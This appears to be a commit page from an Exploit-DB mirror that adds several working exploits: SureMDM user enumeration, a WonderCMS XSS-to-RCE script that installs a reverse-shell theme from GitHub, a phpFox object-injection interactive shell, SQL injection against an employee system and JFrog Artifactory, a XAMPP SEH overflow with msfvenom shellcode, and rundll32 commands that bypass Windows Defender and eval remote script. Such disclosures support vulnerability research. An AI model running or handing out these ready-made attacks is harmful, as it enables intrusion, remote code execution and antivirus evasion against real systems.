bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2024-02-20

Browse source 
9 changes to exploits/shellcodes/ghdb

SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration

Wondercms 4.3.2 - XSS to RCE

Employee Management System v1 - 'email' SQL Injection

JFrog Artifactory < 7.25.4 - Blind SQL Injection

phpFox < 4.8.13 - (redirect) PHP Object Injection Exploit

XAMPP - Buffer Overflow POC
Microsoft Windows Defender - VBScript Detection Bypass
Microsoft Windows Defender Bypass - Detection Mitigation Bypass
This commit is contained in:
Exploit-DB 2024-02-20 00:16:25 +00:00
parent 411b6755b3
commit ba28fce174
9 changed files with 673 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

55
exploits/multiple/webapps/51804.txt Normal file
View file

@ -0,0 +1,55 @@
# Exploit Title: SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration
# Date: 05/12/2023
# Exploit Author: Jonas Benjamin Friedli
# Vendor Homepage: https://www.42gears.com/products/mobile-device-management/
# Version: <= 6.31
# Tested on: 6.31
# CVE : CVE-2023-3897
import requests
import sys
def print_help():
print("Usage: python script.py [URL] [UserListFile]")
sys.exit(1)
def main():
if len(sys.argv) != 3 or sys.argv[1] == '-h':
print_help()
url, user_list_file = sys.argv[1], sys.argv[2]
try:
with open(user_list_file, 'r') as file:
users = file.read().splitlines()
except FileNotFoundError:
print(f"User list file '{user_list_file}' not found.")
sys.exit(1)
valid_users = []
bypass_dir = "/ForgotPassword.aspx/ForgetPasswordRequest"
enumerate_txt = "This User ID/Email ID is not registered."
for index, user in enumerate(users):
progress = (index + 1) / len(users) * 100
print(f"Processing {index + 1}/{len(users)} users ({progress:.2f}%)", end="\r")
data = {"UserId": user}
response = requests.post(
f"{url}{bypass_dir}",
json=data,
headers={"Content-Type": "application/json; charset=utf-8"}
)
if response.status_code == 200:
response_data = response.json()
if enumerate_txt not in response_data.get('d', {}).get('message', ''):
valid_users.append(user)
print("\nFinished processing users.")
print(f"Valid Users Found: {len(valid_users)}")
for user in valid_users:
print(user)
if __name__ == "__main__":
main()

57
exploits/multiple/webapps/51805.py Executable file
View file

@ -0,0 +1,57 @@
# Author: prodigiousMind
# Exploit: Wondercms 4.3.2 XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")

81
exploits/php/webapps/51799.php Normal file
View file

@ -0,0 +1,81 @@
<?php
/*
--------------------------------------------------------------
phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability
--------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.phpfox.com
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerability Description:
User input passed through the "url" request parameter to the /core/redirect route is
not properly sanitized before being used in a call to the unserialize() PHP function.
This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP
objects into the application scope, allowing them to perform a variety of attacks,
such as executing arbitrary PHP code.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2023-12
*/
set_time_limit(0);
error_reporting(E_ERROR);
if (!extension_loaded("curl")) die("[+] cURL extension required!\n");
print "+------------------------------------------------------------------+\n";
print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";
print "+------------------------------------------------------------------+\n";
if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");
function encode($string)
{
$string = addslashes(gzcompress($string, 9));
return urlencode(strtr(base64_encode($string), '+/=', '-_,'));
}
class Phpfox_Request
{
private $_sName = "EgiX";
private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;";
}
class Core_Objectify
{
private $__toString;
function __construct($callback)
{
$this->__toString = $callback;
}
}
print "\n[+] Launching shell on {$argv[1]}\n";
$popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));
$popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));
while(1)
{
print "\nphpFox-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
}

71
exploits/php/webapps/51803.txt Normal file
View file

@ -0,0 +1,71 @@
# Exploit Title: Employee Management System v1 - 'email' SQL Injection
# Google Dork: N/A
# Application: Employee Management System
# Date: 19.02.2024
# Bugs: SQL Injection
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html
# Version: N/A
# Tested on: Windows 10 64 bit Wampserver
# CVE : N/A
## Vulnerability Description:
In your code, there is a potential SQL injection vulnerability due to directly incorporating user-provided data into the SQL query used for user login. This situation increases the risk of SQL injection attacks where malicious users may input inappropriate data to potentially harm your database or steal sensitive information.
## Proof of Concept (PoC):
An example attacker could input the following into the email field instead of a valid email address:
In this case, the SQL query would look like:
SELECT * FROM users WHERE email='' OR '1'='1' --' AND password = '' AND status = 'Active'
As "1=1" is always true, the query would return positive results, allowing the attacker to log in.
## Vulnerable code section:
====================================================
employee/Admin/login.php
<?php
session_start();
error_reporting(1);
include('../connect.php');
//Get website details
$sql_website = "select * from website_setting";
$result_website = $conn->query($sql_website);
$row_website = mysqli_fetch_array($result_website);
if(isset($_POST['btnlogin'])){
//Get Date
date_default_timezone_set('Africa/Lagos');
$current_date = date('Y-m-d h:i:s');
$email = $_POST['txtemail'];
$password = $_POST['txtpassword'];
$status = 'Active';
$sql = "SELECT * FROM users WHERE email='" .$email. "' and password = '".$password."' and status = '".$status."'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
// output data of each row
($row = mysqli_fetch_assoc($result));
$_SESSION["email"] = $row['email'];
$_SESSION["password"] = $row['password'];
$_SESSION["phone"] = $row['phone'];
$firstname = $row['firstname'];
$_SESSION["firstname"] = $row['firstname'];
$fa = $row['2FA'];
}

49
exploits/php/webapps/51806.py Executable file
View file

@ -0,0 +1,49 @@
# Exploit Title: artifactory low-privileged blind sql injection
# Google Dork:
# Date:
# Exploit Author: ardr
# Vendor Homepage:https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection
# Software Link: https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection
# Version: JFrog Artifactory prior to 7.25.4
# Tested on: MySQL
# CVE : CVE-2021-3860
import requests, string, time
from sys import stdout,exit
import warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# written by 75fc58fa86778461771d2ff7f68b28259e97ece9bf6cd8be227c70e6a6140314c97d3fdac30b290c6b10d3679c5ba890635a1ca6fa23c83481dfc1257cd062fd
# old script for CVE-2021-3860
# log into artifactory with any user. there must be populated data in the system. a fresh install will not work.
# you will need to be able to capture a valid request to the below endpoint in order to run this script.
# once captured, replace the cookies and headers below
warnings.simplefilter('ignore',InsecureRequestWarning)
session = requests.session()
base = input("Please enter the base url: ")
url = f"{base}/ui/api/v1/global-search/bundles/received?$no_spinner=true"
# headers = Replace this with captured headers from the above endpoint
pos = 1
# cookies = Replace this with captured cookies from the above endpoint
while True:
for i in string.digits + '.':
data={"after": "", "before": "", "direction": "asc", "name": "*", "num_of_rows": 100, "order_by": f"(select*from(select((CASE WHEN (MID(VERSION(),{pos},1) = '{i}') THEN SLEEP(5) ELSE 4616 END)))a)"}
start = time.time()
r = session.post(url, headers=headers, cookies=cookies, json=data, verify=False)
request_time = time.time() - start
if request_time > 5:
version += i
pos += 1
stdout.write(i)
stdout.flush()
break
if len(version) >= 6:
stdout.write("\n")
print(f"Version found: MySQL {version}")
exit(0)

184
exploits/windows/dos/51800.py Executable file
View file

@ -0,0 +1,184 @@
# Exploit Title: XAMPP v3.3.0 — '.ini' Buffer Overflow (Unicode + SEH)
# Date: 2023-10-26
# Author: Talson (@Ripp3rdoc)
# Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.0.28/xampp-windows-x64-8.0.28-0-VS16-installer.exe
# Version: 3.3.0
# Tested on: Windows 11
# CVE-2023-46517
##########################################################
# _________ _______ _ _______ _______ _ #
# \__ __/( ___ )( \ ( ____ \( ___ )( ( /| #
# ) ( | ( ) || ( | ( \/| ( ) || \ ( | #
# | | | (___) || | | (_____ | | | || \ | | #
# | | | ___ || | (_____ )| | | || (\ \) | #
# | | | ( ) || | ) || | | || | \ | #
# | | | ) ( || (____/\/\____) || (___) || ) \ | #
# )_( |/ \|(_______/\_______)(_______)|/ )_) #
# #
##########################################################
# Proof-of-Concept Steps to Reproduce :
# 1.- Run the python script "poc.py", it will create a new file "xampp-control.ini"
# 2.- Open the application (xampp-control.exe)
# 3.- Click on the "admin" button in front of Apache service.
# 4.- Profit
# Proof-of-Concept code on GitHub: https://github.com/ripp3rdoc/XAMPPv3.3.0-BOF/
# Greetingz to EMU TEAM (¬‿¬)⩙
from pwn import *
import shutil
import os.path
buffer = "\x41" * 268 # 268 bytes to fill the buffer
nseh = "\x59\x71" # next SEH address — 0x00590071 (a harmless padding)
seh = "\x15\x43" # SEH handler — 0x00430015: pop ecx ; pop ebp ; ret ;
padd = "\x71" * 0x55 # padding
eax_align = "\x47" # venetian pad/align
eax_align += "\x51" # push ecx
eax_align += "\x71" # venetian pad/align
eax_align += "\x58" # pop eax -> eax = 0019e1a0
eax_align += "\x71" # venetian pad/align
eax_align += "\x05\x24\x11" # add eax,0x11002300
eax_align += "\x71" # venetian pad/align
eax_align += "\x2d\x11\x11" # sub eax,0x11001100 -> eax = 0019F3DC
eax_align += "\x71" # venetian pad/align
eax_align += "\x50" # push eax
eax_align += "\x71" # pad to align the following ret
eax_align += "\xc3"; # ret into eax?
# msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_mixed -f raw EXITFUNC=thread BufferRegister=EAX -o shellcode.bin
# Payload size: 512 bytes
shellcode = (
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1"
"AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLzHrbM0ipm0c0bi7u01Ep1TBkb0nPdKR2zlrknrKdDK42Kx"
"Jo6WpJnFLqiofLMl1QallBLlO0gQxOzmjagW7rZRObpWBkNrZpdKMzmlBkNlzq1hZC0HKQwab1dKQIKp9qiCrk"
"myKhGslzoYtKMdTKkQJ6ma9odlgQ8OJmM1vg08iPD5yfjcSMjXOKQmnDRUhdaH4KR8mTIq7c2FDKjlpKrkaHML"
"JaZ3dKItrkYqhPU9MtO4KtOk1KC1QI1JNqKO9P1OOoqJtKn2HkRmOmaZjatMbe7BYpm0kPR0PhmadKRODGioj57"
"KgpmMnJZjoxDfceemCmYo9EmlivcL9zE0ikWpQe9ugKoWKcprpo2Jip23KOHUQSaQ0l33Lns5PxrEKPAA"
)
shellcode = buffer + nseh + seh + eax_align + padd + shellcode
check_file = os.path.isfile("c:\\xampp\\xampp-control.ini")
if check_file:
print("[!] Backup file found. Generating the POC file...")
pass
else:
# create backup
try:
shutil.copyfile("c:\\xampp\\xampp-control.ini", "c:\\xampp\\xampp-control.ini.bak")
print("[+] Creating backup for xampp-control.ini...")
print("[+] Backup file created!")
except Exception as e:
print("[!] Failed creating a backup for xampp-control.ini: ", e)
try:
# Create the new file
with open("c:\\xampp\\xampp-control.ini", "w", encoding='utf-8') as file:
file.write(f"""[Common]
Edition=
Editor=
Browser={shellcode}
Debug=0
Debuglevel=0
Language=en
TomcatVisible=1
Minimized=0
[LogSettings]
Font=Arial
FontSize=10
[WindowSettings]
Left=-1
Top=-1
Width=682
Height=441
[Autostart]
Apache=0
MySQL=0
FileZilla=0
Mercury=0
Tomcat=0
[Checks]
CheckRuntimes=1
CheckDefaultPorts=1
[ModuleNames]
Apache=Apache
MySQL=MySQL
Mercury=Mercury
Tomcat=Tomcat
[EnableModules]
Apache=1
MySQL=1
FileZilla=1
Mercury=1
Tomcat=1
[EnableServices]
Apache=1
MySQL=1
FileZilla=1
Tomcat=1
[BinaryNames]
Apache=httpd.exe
MySQL=mysqld.exe
FileZilla=filezillaserver.exe
FileZillaAdmin=filezilla server interface.exe
Mercury=mercury.exe
Tomcat=tomcat8.exe
[ServiceNames]
Apache=Apache2.4
MySQL=mysql
FileZilla=FileZillaServer
Tomcat=Tomcat
[ServicePorts]
Apache=80
ApacheSSL=443
MySQL=3306
FileZilla=21
FileZill=14147
Mercury1=25
Mercury2=79
Mercury3=105
Mercury4=106
Mercury5=110
Mercury6=143
Mercury7=2224
TomcatHTTP=8080
TomcatAJP=8009
Tomcat=8005
[UserConfigs]
Apache=
MySQL=
FileZilla=
Mercury=
Tomcat=
[UserLogs]
Apache=
MySQL=
FileZilla=
Mercury=
Tomcat=
""")
print("[+] Created the POC!")
except Exception as e:
print("[!] Failed creating the POC xampp-control.ini: ", e)

86
exploits/windows_x86-64/local/51801.txt Normal file
View file

@ -0,0 +1,86 @@
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: https://hyp3rlinx.altervista.org/advisories/Windows_Defender_Backdoor_JS.Relvelshe.A_Detection_Mitigation_Bypass.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
Windows Defender
[Vulnerability Type]
Detection Mitigation Bypass
Backdoor:JS/Relvelshe.A
[CVE Reference]
N/A
[Security Issue]
Back in 2022 I released a PoC to bypass the Backdoor:JS/Relvelshe.A detection in defender but it no longer works as was mitigated.
However, adding a simple javascript try catch error statement and eval the hex string it executes as of the time of this post.
[References]
https://twitter.com/hyp3rlinx/status/1480657623947091968
[Exploit/POC]
1) python -m http.server 80
2) Open command prompt as Administrator
3) rundll32 javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication ,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://localhost/yo.tmp")
Create file and host on server, this is contents of the "yo.tmp" file.
<?xml version="1.0"?>
<component>
<script>
try{
<![CDATA[
var hex = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
]]>
}catch(e){
eval(str)
}
</script>
</component>
[Network Access]
Local
[Severity]
High
[Disclosure Timeline]
Vendor Notification:
February 18, 2024: Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx

82
exploits/windows_x86-64/local/51802.txt Normal file
View file

@ -0,0 +1,82 @@
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_VBSCRIPT_TROJAN_MITIGATION_BYPASS.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
Windows Defender
[Vulnerability Type]
Windows Defender VBScript Detection Mitigation Bypass
TrojanWin32Powessere.G
[CVE Reference]
N/A
[Security Issue]
Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution fail
and attackers will typically get an "Access is denied" error message. Previously I have disclosed 3 bypasses using rundll32 javascript, this example leverages VBSCRIPT and ActiveX engine.
Running rundll32 vbscript:"\\..\\mshtml\\..\\mshtml\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0), will typically get blocked by Windows Defender with
an "Access is denied" message.
Trojan:Win32/Powessere.G
Category: Trojan
This program is dangerous and executes commands from an attacker.
However, you can add arbitrary text for the 2nd mshtml parameter to build off my previous javascript based bypasses to skirt defender detection.
Example, adding "shtml", "Lol" or other text and it will execute as of the time of this writing.
E.g.
C:\sec>rundll32 vbscript:"\\..\\mshtml\\..\\PWN\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0)
[References]
https://twitter.com/hyp3rlinx/status/1759260962761150468
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART_3.txt
https://lolbas-project.github.io/lolbas/Binaries/Rundll32/
[Exploit/POC]
Open command prompt as Administrator
C:\sec>rundll32 vbscript:"\\..\\mshtml\\..\\mshtml\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0)
Access is denied.
C:\sec>rundll32 vbscript:"\\..\\mshtml\\..\\LoL\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("calc.exe"),0)
We win!
[Network Access]
Local
[Severity]
High
[Disclosure Timeline]
Vendor Notification:
February 18, 2024 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx

8
files_exploits.csv
View file

@ -12215,6 +12215,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
14101,exploits/multiple/webapps/14101.txt,"Subdreamer Pro 3.0.4 - CMS Upload",2010-06-28,Battousai,webapps,multiple,80,2010-06-28,2010-06-28,1,,,,,,
35214,exploits/multiple/webapps/35214.txt,"Subex Fms 7.4 - SQL Injection",2014-11-11,"Anastasios Monachos",webapps,multiple,,2014-11-17,2014-11-17,0,CVE-2014-8728;OSVDB-110747,,,,,
51340,exploits/multiple/webapps/51340.txt,"Suprema BioStar 2 v2.8.16 - SQL Injection",2023-04-08,"Yuriy (Vander) Tsarenko",webapps,multiple,,2023-04-08,2023-04-08,0,CVE-2023-27167,,,,,
51804,exploits/multiple/webapps/51804.txt,"SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration",2024-02-19,"Jonas Benjamin Friedli",webapps,multiple,,2024-02-19,2024-02-19,0,CVE-2023-3897,,,,,
50937,exploits/multiple/webapps/50937.txt,"Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)",2022-05-17,"Pankaj Kumar Thakur",webapps,multiple,,2022-05-17,2022-05-17,0,CVE-2022-29727,,,,,
37470,exploits/multiple/webapps/37470.txt,"SWFupload - 'movieName' Cross-Site Scripting",2012-06-29,"Nathan Partlan",webapps,multiple,,2012-06-29,2015-07-03,1,CVE-2012-3414;OSVDB-83413,,,,,https://www.securityfocus.com/bid/54245/info
35908,exploits/multiple/webapps/35908.txt,"SWFupload 2.5.0 - Cross Frame Scripting (XFS)",2015-01-26,MindCracker,webapps,multiple,,2015-01-26,2015-01-26,0,OSVDB-117564,,,,,
@ -12293,6 +12294,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
48154,exploits/multiple/webapps/48154.sh,"Wing FTP Server 6.2.5 - Privilege Escalation",2020-03-02,"Cary Hooper",webapps,multiple,,2020-03-02,2020-03-02,0,,,,,,
43441,exploits/multiple/webapps/43441.txt,"WinMX < 2.6 - Design Error",2003-06-02,"GulfTech Security",webapps,multiple,,2018-01-05,2018-01-05,0,GTSA-00006,,,,,http://gulftech.org/advisories/WinMX%20Design%20Error/6
47342,exploits/multiple/webapps/47342.html,"Wolters Kluwer TeamMate 3.1 - Cross-Site Request Forgery",2019-09-02,"Bhadresh Patel",webapps,multiple,,2019-09-02,2020-06-18,0,,,,,,
51805,exploits/multiple/webapps/51805.py,"Wondercms 4.3.2 - XSS to RCE",2024-02-19,"Anas Zakir",webapps,multiple,,2024-02-19,2024-02-19,0,,,,,,
47690,exploits/multiple/webapps/47690.md,"WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts",2019-10-14,"Sebastian Neef",webapps,multiple,,2019-11-19,2019-11-19,0,CVE-2019-17671,,,,,https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
49189,exploits/multiple/webapps/49189.txt,"Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)",2020-12-04,"Pankaj Verma",webapps,multiple,,2020-12-04,2020-12-04,0,CVE-2020-28976;CVE-2020-28977;CVE-2020-28978,,,,,
48919,exploits/multiple/webapps/48919.txt,"WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting (Authenticated)",2020-10-20,n1x_,webapps,multiple,,2020-10-20,2020-10-20,0,,,,,,
@ -17863,6 +17865,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
50506,exploits/php/webapps/50506.txt,"Employee Daily Task Management System 1.0 - 'Name' Stored Cross-Site Scripting (XSS)",2021-11-10,"Ragavender A G",webapps,php,,2021-11-10,2021-11-10,0,,,,,,
48882,exploits/php/webapps/48882.txt,"Employee Management System 1.0 - Authentication Bypass",2020-10-16,"Ankita Pal",webapps,php,,2020-10-16,2020-10-16,0,,,,,,
48881,exploits/php/webapps/48881.txt,"Employee Management System 1.0 - Cross Site Scripting (Stored)",2020-10-16,"Ankita Pal",webapps,php,,2020-10-16,2020-10-16,0,,,,,,
51803,exploits/php/webapps/51803.txt,"Employee Management System v1 - 'email' SQL Injection",2024-02-19,SoSPiro,webapps,php,,2024-02-19,2024-02-19,0,,,,,,
49215,exploits/php/webapps/49215.txt,"Employee Performance Evaluation System 1.0 - 'Task and Description' Persistent Cross Site Scripting",2020-12-08,"Ritesh Gohil",webapps,php,,2020-12-08,2020-12-08,0,,,,,,
51049,exploits/php/webapps/51049.txt,"Employee Performance Evaluation System v1.0 - File Inclusion and RCE",2023-03-25,nu11secur1ty,webapps,php,,2023-03-25,2023-03-25,0,,,,,,
50467,exploits/php/webapps/50467.txt,"Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)",2021-11-02,"Anubhav Singh",webapps,php,,2021-11-02,2021-11-02,0,,,,,,
@ -20499,6 +20502,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
38919,exploits/php/webapps/38919.txt,"JForum 'adminUsers' Module - Cross-Site Request Forgery",2013-12-26,arno,webapps,php,,2013-12-26,2015-12-09,1,CVE-2013-7209;OSVDB-101438,,,,,https://www.securityfocus.com/bid/64540/info
34441,exploits/php/webapps/34441.txt,"JForum 2.08 - BBCode Color Tag HTML Injection",2010-05-13,"Giorgio Fedon",webapps,php,,2010-05-13,2014-08-28,1,,,,,,https://www.securityfocus.com/bid/42414/info
34147,exploits/php/webapps/34147.txt,"JForum 2.1.8 - 'Username' Cross-Site Scripting",2010-06-06,"Adam Baldwin",webapps,php,,2010-06-06,2014-07-23,1,,,,,,https://www.securityfocus.com/bid/40880/info
51806,exploits/php/webapps/51806.py,"JFrog Artifactory < 7.25.4 - Blind SQL Injection",2024-02-19,ardr,webapps,php,,2024-02-19,2024-02-19,0,,,,,,
3760,exploits/php/webapps/3760.txt,"jGallery 1.3 - 'index.php' Remote File Inclusion",2007-04-18,Dj7xpl,webapps,php,,2007-04-17,,1,OSVDB-35021;CVE-2007-2158,,,,,
27307,exploits/php/webapps/27307.txt,"JGS-Gallery 4.0 - 'Board jgs_galerie_scroll.php?userid' Cross-Site Scripting",2006-02-23,nuker,webapps,php,,2006-02-23,2013-08-03,1,CVE-2006-0927;OSVDB-23632,,,,,https://www.securityfocus.com/bid/16810/info
27306,exploits/php/webapps/27306.txt,"JGS-Gallery 4.0 - 'jgs_galerie_slideshow.php' Multiple Cross-Site Scripting Vulnerabilities",2006-02-23,nuker,webapps,php,,2006-02-23,2013-08-03,1,CVE-2006-0927;OSVDB-23631,,,,,https://www.securityfocus.com/bid/16810/info
@ -26970,6 +26974,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
37697,exploits/php/webapps/37697.txt,"PHPFox 3.0.1 - 'ajax.php' Multiple Cross-Site Scripting Vulnerabilities",2012-09-04,Crim3R,webapps,php,,2012-09-04,2015-07-27,1,,,,,,https://www.securityfocus.com/bid/55405/info
18655,exploits/php/webapps/18655.php,"PHPFox 3.0.1 - 'ajax.php' Remote Command Execution",2012-03-23,EgiX,webapps,php,,2012-03-23,2012-03-23,0,OSVDB-80534;CVE-2012-1300,,,,,
27430,exploits/php/webapps/27430.txt,"PHPFox 3.6.0 (build3) - Multiple SQL Injections",2013-08-08,"Matias Fontanini",webapps,php,,2013-08-08,2013-08-08,0,OSVDB-96028;CVE-2013-5121;CVE-2013-5120,,,,,
51799,exploits/php/webapps/51799.php,"phpFox < 4.8.13 - (redirect) PHP Object Injection Exploit",2024-02-19,"Egidio Romano",webapps,php,,2024-02-19,2024-02-19,0,,,,,,
9465,exploits/php/webapps/9465.txt,"phpfreeBB 1.0 - Blind SQL Injection",2009-08-18,Moudi,webapps,php,,2009-08-17,,1,CVE-2009-3208;OSVDB-58191;OSVDB-58190,,,,,
32085,exploits/php/webapps/32085.txt,"PHPFreeChat 1.1 - 'demo21_with_hardocded_urls.php' Cross-Site Scripting",2008-07-18,ahmadbady,webapps,php,,2008-07-18,2014-03-06,1,,,,,,https://www.securityfocus.com/bid/30292/info
31822,exploits/php/webapps/31822.txt,"PHPFreeForum 1.0 rc2 - '/part/menu.php' Multiple Cross-Site Scripting Vulnerabilities",2008-05-22,tan_prathan,webapps,php,,2008-05-22,2014-02-22,1,CVE-2008-6437;OSVDB-45608,,,,,https://www.securityfocus.com/bid/29337/info
@ -39143,6 +39148,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
4498,exploits/windows/dos/4498.pl,"WzdFTPD 0.8.0 - 'USER' Remote Denial of Service",2007-10-07,k1tk4t,dos,windows,,2007-10-06,2017-10-07,1,OSVDB-41636;CVE-2007-5300,,,,http://www.exploit-db.comwzdftpd-0.8.0.exe,
9242,exploits/windows/dos/9242.py,"WzdFTPD 8.0 - Remote Denial of Service",2009-07-24,"Jose Miguel Esparza",dos,windows,,2009-07-23,,1,,,,,,
11338,exploits/windows/dos/11338.py,"X-lite SIP 3.0 - 'wav' memory Corruption Heap Buffer Overflow",2010-02-06,TecR0c,dos,windows,,2010-02-05,,1,,,,,http://www.exploit-db.comX-Lite_Win32_1104o_56125_100106.exe,
51800,exploits/windows/dos/51800.py,"XAMPP - Buffer Overflow POC",2024-02-19,Talson,dos,windows,,2024-02-19,2024-02-19,0,,,,,,
40964,exploits/windows/dos/40964.py,"XAMPP Control Panel - Denial Of Service",2016-12-25,hyp3rlinx,dos,windows,,2016-12-25,2016-12-25,0,,"Denial of Service (DoS)",,,,
2124,exploits/windows/dos/2124.php,"XChat 2.6.7 (Windows) - Remote Denial of Service",2006-08-07,ratboy,dos,windows,,2006-08-06,2011-04-27,1,OSVDB-29165;CVE-2006-4455,,,,http://www.exploit-db.comxchat-2.6.7.exe,
